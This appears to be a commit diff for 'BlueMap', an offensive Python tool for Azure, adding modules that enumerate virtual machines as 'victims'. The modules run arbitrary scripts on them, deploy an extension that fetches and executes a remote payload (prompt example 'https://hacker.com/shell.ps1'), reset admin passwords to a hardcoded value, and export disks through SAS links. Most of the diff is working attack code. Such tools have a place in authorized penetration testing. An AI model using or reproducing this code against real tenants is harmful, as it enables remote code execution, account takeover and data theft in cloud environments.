Projects STRLCPY BlueMap Commits ce2d7596
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    bluemap.py
    skipped 3 lines
    4 4  import json, sys
    5 5  import uuid
    6 6  import os
     7 +import random
     8 +import string
    7 9  from prettytable import PrettyTable
    8 10  import subprocess
     11 +from urllib.parse import urlparse
    9 12   
    10 13  Token = None
    11 14  accessTokenGraph = None
    skipped 31 lines
    43 46   response = None
    44 47   return response
    45 48   
     49 +def get_random_string(size):
     50 + chars = string.ascii_lowercase+string.ascii_uppercase+string.digits
     51 + ''.join(random.choice(chars) for _ in range(size))
     52 + return chars
     53 + 
    46 54  def parseUPN():
    47  - global accessTokenGraph, Token
    48  - if accessTokenGraph is None or Token is None:
     55 + global Token
     56 + if Token is None:
    49 57   print("No Token has been set.")
    50 58   else:
    51 59   b64_string = Token.split(".")[1]
    skipped 1 lines
    53 61   return json.loads(base64.b64decode(b64_string))['upn']
    54 62   
    55 63  def parseUPNObjectId():
    56  - global accessTokenGraph, Token
    57  - if accessTokenGraph is None or Token is None:
     64 + global Token
     65 + if Token is None:
    58 66   print("No Token has been set.")
    59 67   else:
    60 68   b64_string = Token.split(".")[1]
    61 69   b64_string += "=" * ((4 - len(Token.split(".")[1].strip()) % 4) % 4)
    62 70   return json.loads(base64.b64decode(b64_string))['oid']
    63 71  def hasTokenInPlace():
    64  - global accessTokenGraph, Token
    65  - if accessTokenGraph is None or Token is None:
     72 + global Token
     73 + if Token is None:
    66 74   return False
    67 75   else:
    68 76   return True
    69 77   
    70 78  def setToken(token):
    71  - global Token
    72  - Token = token
     79 + global Token, hasMgmtAccess, hasGraphAccess, hasVaultEnabled
     80 + if token == "":
     81 + hasMgmtAccess = False
     82 + hasGraphAccess = False
     83 + hasVaultEnabled = False
     84 + else:
     85 + Token = token
    73 86   
    74 87   
    75  -def initToken(token):
    76  - global Token
     88 +def initToken(token, resetscopes):
     89 + global Token, hasMgmtAccess, hasGraphAccess, hasVaultEnabled
     90 + if resetscopes:
     91 + hasMgmtAccess = False
     92 + hasGraphAccess = False
     93 + hasVaultEnabled = False
    77 94   Token = token
    78 95   
    79 96   
    skipped 13 lines
    93 110   
    94 111  def currentScope():
    95 112   global hasMgmtAccess, hasGraphAccess, hasVaultEnabled
    96  - global accessTokenGraph, Token
    97  - if accessTokenGraph is None or Token is None:
     113 + global Token
     114 + if Token is None:
    98 115   print("No Token has been set.")
    99 116   else:
     117 + check = Token.split(".")[1]
     118 + audAttribue = json.loads(base64.b64decode(check))['aud']
    100 119   strA = []
    101  - if hasGraphAccess:
     120 + if hasGraphAccess or "graph.microsoft.com" in audAttribue:
    102 121   strA.append("Graph enabled")
    103  - if hasMgmtAccess:
     122 + if hasMgmtAccess or "management.azure.com" in audAttribue:
    104 123   strA.append("Azure RABC enabled")
    105  - if hasVaultEnabled:
     124 + if hasVaultEnabled or 'vault.azure.net' in audAttribue:
    106 125   strA.append("Vault enabled")
    107 126   print("Enabled Scope(s): " + str(" | ").join(strA))
    108 127   
    109 128  def currentProfile():
    110  - global accessTokenGraph, Token
    111  - if accessTokenGraph is None or Token is None:
     129 + global Token
     130 + if Token is None:
    112 131   print("No Token has been set.")
    113 132   else:
    114 133   strigify = parseUPN().split("@")
    skipped 120 lines
    235 254   return r.json()
    236 255   return False
    237 256   
     257 +def HLP_GetVMInstanceView(subscriptionId,resourceGroupName,vmName):
     258 + global Token
     259 + headers = {
     260 + 'Content-Type': 'application/json',
     261 + 'Authorization': 'Bearer ' + Token
     262 + }
     263 + rs = requests.get("https://management.azure.com/subscriptions/"+subscriptionId+"/resourceGroups/"+resourceGroupName+"/providers/Microsoft.Compute/virtualMachines/"+vmName+"/instanceView?api-version=2022-08-01", headers=headers)
     264 + if rs.status_code == 200:
     265 + return rs.json()['statuses'][1]['code']
     266 + else:
     267 + print(rs.json())
     268 + return "Unable to fetch VM data."
     269 + 
    238 270  def RD_ListAllVMs():
    239 271   global Token
    240 272   result = []
    skipped 6 lines
    247 279   for res in getResGroup(sub['subscriptionId'])['value']:
    248 280   rsVM = requests.get("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.Compute/virtualMachines?api-version=2022-08-01", headers=headers)
    249 281   for item in rsVM.json()['value']:
     282 + if 'identity' not in item:
     283 + item['identity'] = "N/A"
     284 + 
    250 285   item['subscriptionId'] = sub['subscriptionId']
    251 286   item['resourceGroup'] = res['name']
    252 287   result.append(item)
    253 288   return result
     289 +def CON_GenerateVMDiskSAS(subscriptionId, resourceGroupName, vmDiskName):
     290 + global Token
     291 + headers = {
     292 + 'Content-Type': 'application/json',
     293 + 'Authorization': 'Bearer ' + Token
     294 + }
     295 + rs = requests.get("https://management.azure.com/subscriptions/"+subscriptionId+"/resourceGroups/"+resourceGroupName+"/providers/Microsoft.Compute/disks/"+vmDiskName+"/beginGetAccess?api-version=2021-12-01",
     296 + json={
     297 + "access": "Read",
     298 + "durationInSeconds": 300
     299 + },
     300 + headers=headers)
     301 + if rs.status_code == 200:
     302 + DownloadURL = rs.json()['access']
     303 + return "Ready! SAS Download Link for " + vmDiskName + ": " + DownloadURL
     304 + else:
     305 + return "Unable to create SAS Download Link."
     306 + 
     307 +def CON_VMExtensionExecution(subscriptionId, location, resourceGroupName, vmName, PayloadURL):
     308 + global Token
     309 + headers = {
     310 + 'Content-Type': 'application/json',
     311 + 'Authorization': 'Bearer ' + Token
     312 + }
     313 + vmExtensionName = get_random_string(20)
     314 + r = requests.put(
     315 + "https://management.azure.com/subscriptions/" + subscriptionId + "/resourceGroups/" + resourceGroupName + "/providers/Microsoft.Compute/virtualMachines/" + vmName + "/extensions/" + vmExtensionName + "?api-version=2022-08-01",
     316 + json={
     317 + "location": location,
     318 + "properties": {
     319 + "publisher": "Microsoft.Compute",
     320 + "typeHandlerVersion": "1.0",
     321 + "type": "CustomScriptExtension",
     322 + "autoUpgradeMinorVersion": True,
     323 + "protectedSettings": {
     324 + "commandToExecute": os.path.basename(urlparse(PayloadURL).path),
     325 + "fileUris": [PayloadURL]
     326 + }
     327 + }
     328 + },
     329 + headers=headers)
     330 + if r.status_code == 201:
     331 + return "Created! It should be ready within 5-10 min."
     332 + else:
     333 + return "Failed to create VM Extension.\nReason: " + str(r.json()['error']['message'])
     334 + 
     335 +def CON_VMRunCommand(subscriptionId, resourceGroupName, osType, vmName, Command):
     336 + global Token
     337 + headers = {
     338 + 'Content-Type': 'text/json',
     339 + 'Authorization': 'Bearer ' + Token
     340 + }
     341 + if osType == "Windows":
     342 + exec = "RunPowerShellScript"
     343 + else:
     344 + exec = "RunShellScript"
     345 + 
     346 + rs = requests.post("https://management.azure.com/subscriptions/"+subscriptionId+"/resourceGroups/"+resourceGroupName+"/providers/Microsoft.Compute/virtualMachines/"+vmName+"/runCommand?api-version=2022-08-01",
     347 + json={
     348 + "commandId": exec,
     349 + "script": [Command]
     350 + }, headers=headers)
     351 + 
     352 + if rs.status_code == 202 or rs.status_code == 200:
     353 + return "Successfully Created Shell Script."
     354 + else:
     355 + return "Failed to Create Shell Script."
     356 + 
     357 + 
     358 + 
     359 +def CON_VMExtensionResetPwd(subscriptionId, location, resourceGroupName, vmName, vmExtensionName, adminAccount):
     360 + global Token
     361 + headers = {
     362 + 'Content-Type': 'application/json',
     363 + 'Authorization': 'Bearer ' + Token
     364 + }
     365 + vmExtensionName = get_random_string(20)
     366 + r = requests.put(
     367 + "https://management.azure.com/subscriptions/"+subscriptionId+"/resourceGroups/"+resourceGroupName+"/providers/Microsoft.Compute/virtualMachines/"+vmName+"/extensions/"+vmExtensionName+"?api-version=2022-08-01",
     368 + json={
     369 + "location": location,
     370 + "properties": {
     371 + "publisher": "Microsoft.Compute",
     372 + "typeHandlerVersion": "2.0",
     373 + "type": "VMAccessAgent",
     374 + "autoUpgradeMinorVersion": True,
     375 + "protectedSettings": {
     376 + "password": "secretPass123"
     377 + }
     378 + }
     379 + },
     380 + headers=headers)
     381 + if r.status_code == 201:
     382 + return "Created! It should be ready within 5-10 min. \nLogin to "+vmName+" using " + adminAccount + ":secretPass123 as login details."
     383 + else:
     384 + return "Failed to create VM Extension.\nReason: " + str(r.json()['error']['message'])
    254 385   
    255 386  def RD_ListAutomationAccounts():
    256 387   global Token
    skipped 254 lines
    511 642   "https://management.azure.com/subscriptions/"+subscriptionId+"/resourceGroups/"+resourceGroupName+"/providers/Microsoft.Network/publicIPAddresses/"+publicIpAddressName+"PublicIP?api-version=2022-01-01",
    512 643   headers=headers)
    513 644   if r.status_code == 200:
    514  - result = r.json()['properties']['ipAddress']
     645 + if "ipAddress" not in r.json()['properties']:
     646 + result = "N/A"
     647 + else:
     648 + result = r.json()['properties']['ipAddress']
    515 649   else:
    516 650   result = "N/A"
    517 651   return result
    skipped 94 lines
    612 746   "Reader/ListAutomationAccounts",
    613 747   "Reader/DumpAllRunBooks",
    614 748   "Reader/ListAllRunBooks",
     749 + "Reader/ListVirtualMachines",
    615 750   "Reader/ARMTemplatesDisclosure",
    616 751   "Reader/ListServicePrincipal",
    617 752   "Reader/abuseServicePrincipals",
     753 + "Contributor/RunCommandVM",
     754 + "Contributor/VMExtensionResetPwd",
     755 + "Contributor/VMExtensionExecution",
     756 + "Contributor/VMDiskExport",
     757 + "Contributor/VMDiskSnapshotExport",
    618 758   "GlobalAdministrator/elevateAccess"
    619 759   ]
    620 760   readline.set_completer(SimpleCompleter(exploits).complete)
    skipped 174 lines
    795 935   setToken("")
    796 936   elif "Token/GenToken" in ExploitChoosen and mode == "run":
    797 937   print("Trying getting token automatically for you...")
    798  - initToken(tryGetToken())
     938 + initToken(tryGetToken(), False)
    799 939   elif "Token/SetToken" in ExploitChoosen and mode == "run":
    800 940   print("Please paste your Azure token here:")
    801 941   token = input("Enter Token:")
    802  - initToken(token)
     942 + initToken(token, True)
    803 943   print("All set.")
    804 944   elif "Reader/ExposedAppServiceApps" in ExploitChoosen and mode == "run":
    805 945   print("Trying to enumerate all external-facing Azure Service Apps..")
    skipped 82 lines
    888 1028   AllVMRecords.field_names = ["#", "Name", "Location", "PublicIP", "ResourceGroup", "Identity", "SubscriptionId"]
    889 1029   AllVMRecordsCount = 0
    890 1030   for UserVMRecord in RD_ListAllVMs():
    891  - AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'],UserVMRecord['resourceGroup'],UserVMRecord['name']), UserVMRecord['resourceGroup'], UserVMRecord['identity']['type'], UserVMRecord['subscriptionId']])
    892  - AllVMRecordsCount += 1
     1031 + if UserVMRecord['identity'] == "N/A":
     1032 + VMIdentity = "N/A"
     1033 + else:
     1034 + VMIdentity = UserVMRecord['identity']['type']
     1035 + if HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'],UserVMRecord['name']) == "N/A":
     1036 + AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], "N/A", UserVMRecord['resourceGroup'], VMIdentity, UserVMRecord['subscriptionId']])
     1037 + else:
     1038 + AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'],UserVMRecord['resourceGroup'],UserVMRecord['name']), UserVMRecord['resourceGroup'], VMIdentity, UserVMRecord['subscriptionId']])
     1039 + AllVMRecordsCount += 1
    893 1040   print(AllVMRecords)
    894 1041   elif "Reader/ListServicePrincipal" in ExploitChoosen and mode == "run":
    895 1042   print("Trying to enumerate all service principles (App registrations)..")
    skipped 21 lines
    917 1064   EntAppsRecord['publisherDomain'],pwdGen])
    918 1065   EntAppsRecordsCount += 1
    919 1066   print(EntAppsRecords)
     1067 + elif "Contributor/RunCommandVM" in ExploitChoosen and mode == "run":
     1068 + print("Trying to list exposed virtual machines.. (it might take a few minutes)")
     1069 + victims = {}
     1070 + AllVMRecords = PrettyTable()
     1071 + AllVMRecords.align = "l"
     1072 + AllVMRecords.field_names = ["#", "Name", "Location", "PublicIP", "OSType", "ResourceGroup","SubscriptionId"]
     1073 + AllVMRecordsCount = 0
     1074 + for UserVMRecord in RD_ListAllVMs():
     1075 + if HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'],UserVMRecord['name']) == "N/A":
     1076 + continue
     1077 + else:
     1078 + victims[AllVMRecordsCount] = {"name": UserVMRecord['name'],"os": UserVMRecord['properties']['storageProfile']['osDisk']['osType'], "location": UserVMRecord['location'],"subId": UserVMRecord['subscriptionId'],"rg": UserVMRecord['resourceGroup']}
     1079 + AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'],HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'],UserVMRecord['resourceGroup'], UserVMRecord['name']),UserVMRecord['properties']['storageProfile']['osDisk']['osType'],
     1080 + UserVMRecord['resourceGroup'],
     1081 + UserVMRecord['subscriptionId']])
     1082 + AllVMRecordsCount += 1
     1083 + print(AllVMRecords)
     1084 + TargetVM = input("Select Target VM Name [i.e. 1]: ")
     1085 + Selection = int(TargetVM)
     1086 + CmdVMPath = input("Enter Path for Script [i.e. C:\exploit\shell.ps1]: ")
     1087 + with open(os.path.normpath(CmdVMPath)) as f:
     1088 + CmdFileContent = f.read()
     1089 + print(CON_VMRunCommand(victims[Selection]["subId"],victims[Selection]["rg"],victims[Selection]["os"],victims[Selection]["name"], CmdFileContent))
     1090 + elif "Contributor/VMDiskExport" in ExploitChoosen and mode == "run":
     1091 + print("Trying to list offline virtual machines.. (it might take a few minutes)")
     1092 + victims = {}
     1093 + AllVMRecords = PrettyTable()
     1094 + AllVMRecords.align = "l"
     1095 + AllVMRecords.field_names = ["#", "Name", "Location", "DiskName", "VM Status"]
     1096 + AllVMRecordsCount = 0
     1097 + for UserVMRecord in RD_ListAllVMs():
     1098 + VMState = HLP_GetVMInstanceView(UserVMRecord['subscriptionId'],UserVMRecord['resourceGroup'],UserVMRecord['name'])
     1099 + victims[AllVMRecordsCount] = {"name": UserVMRecord['name'], "location": UserVMRecord['location'], "diskName": UserVMRecord['properties']['storageProfile']['osDisk']['name'],"subId": UserVMRecord['subscriptionId'],"rg": UserVMRecord['resourceGroup']}
     1100 + AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], UserVMRecord['properties']['storageProfile']['osDisk']['name'], VMState])
     1101 + AllVMRecordsCount += 1
     1102 + print(AllVMRecords)
     1103 + TargetVM = input("Select Target DiskVM [i.e. 1]: ")
     1104 + print("Create a SAS link for VHD download...")
     1105 + Selection = int(TargetVM)
     1106 + print(CON_GenerateVMDiskSAS(victims[Selection]["subId"], victims[Selection]["rg"], victims[Selection]["diskName"]))
     1107 + 
     1108 + elif "Contributor/VMExtensionExecution" in ExploitChoosen and mode == "run":
     1109 + print("Trying to list exposed virtual machines.. (it might take a few minutes)")
     1110 + victims = {}
     1111 + AllVMRecords = PrettyTable()
     1112 + AllVMRecords.align = "l"
     1113 + AllVMRecords.field_names = ["#", "Name", "Location", "PublicIP", "adminUsername", "ResourceGroup",
     1114 + "SubscriptionId"]
     1115 + AllVMRecordsCount = 0
     1116 + for UserVMRecord in RD_ListAllVMs():
     1117 + if HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'],
     1118 + UserVMRecord['name']) == "N/A":
     1119 + continue
     1120 + else:
     1121 + victims[AllVMRecordsCount] = {"name": UserVMRecord['name'],
     1122 + "username": UserVMRecord['properties']['osProfile'][
     1123 + 'adminUsername'], "location": UserVMRecord['location'],
     1124 + "subId": UserVMRecord['subscriptionId'],
     1125 + "rg": UserVMRecord['resourceGroup']}
     1126 + AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'],
     1127 + HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'],
     1128 + UserVMRecord['resourceGroup'], UserVMRecord['name']),
     1129 + UserVMRecord['properties']['osProfile']['adminUsername'],
     1130 + UserVMRecord['resourceGroup'],
     1131 + UserVMRecord['subscriptionId']])
     1132 + AllVMRecordsCount += 1
     1133 + print(AllVMRecords)
     1134 + TargetVM = input("Select Target VM Name [i.e. 1]: ")
     1135 + RemotePayload = input("Enter Remote Payload [i.e. https://hacker.com/shell.ps1]: ")
     1136 + Selection = int(TargetVM)
     1137 + print(CON_VMExtensionExecution(victims[Selection]["subId"], victims[Selection]["location"],
     1138 + victims[Selection]["rg"], victims[Selection]["name"], RemotePayload))
     1139 + 
     1140 + elif "Contributor/VMExtensionResetPwd" in ExploitChoosen and mode == "run":
     1141 + print("Trying to list exposed virtual machines.. (it might take a few minutes)")
     1142 + victims = {}
     1143 + AllVMRecords = PrettyTable()
     1144 + AllVMRecords.align = "l"
     1145 + AllVMRecords.field_names = ["#", "Name", "Location", "PublicIP", "adminUsername", "ResourceGroup", "SubscriptionId"]
     1146 + AllVMRecordsCount = 0
     1147 + for UserVMRecord in RD_ListAllVMs():
     1148 + if HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'],UserVMRecord['name']) == "N/A":
     1149 + continue
     1150 + else:
     1151 + victims[AllVMRecordsCount] = {"name": UserVMRecord['name'], "username": UserVMRecord['properties']['osProfile']['adminUsername'], "location": UserVMRecord['location'], "subId": UserVMRecord['subscriptionId'], "rg": UserVMRecord['resourceGroup']}
     1152 + AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'],UserVMRecord['name']),
     1153 + UserVMRecord['properties']['osProfile']['adminUsername'], UserVMRecord['resourceGroup'],
     1154 + UserVMRecord['subscriptionId']])
     1155 + AllVMRecordsCount += 1
     1156 + print(AllVMRecords)
     1157 + TargetVM = input("Select Target VM Name [i.e. 1]: ")
     1158 + Selection = int(TargetVM)
     1159 + print(CON_VMExtensionResetPwd(victims[Selection]["subId"],victims[Selection]["location"],victims[Selection]["rg"],victims[Selection]["name"], "RandomExtNas", victims[Selection]["username"]))
     1160 + 
    920 1161   elif "GlobalAdministrator/elevateAccess" in ExploitChoosen and mode == "run":
    921 1162   print("Elevating access to the root management group..")
    922 1163   print(GA_ElevateAccess())
    skipped 60 lines
Please wait...
Page is in error, reload to recover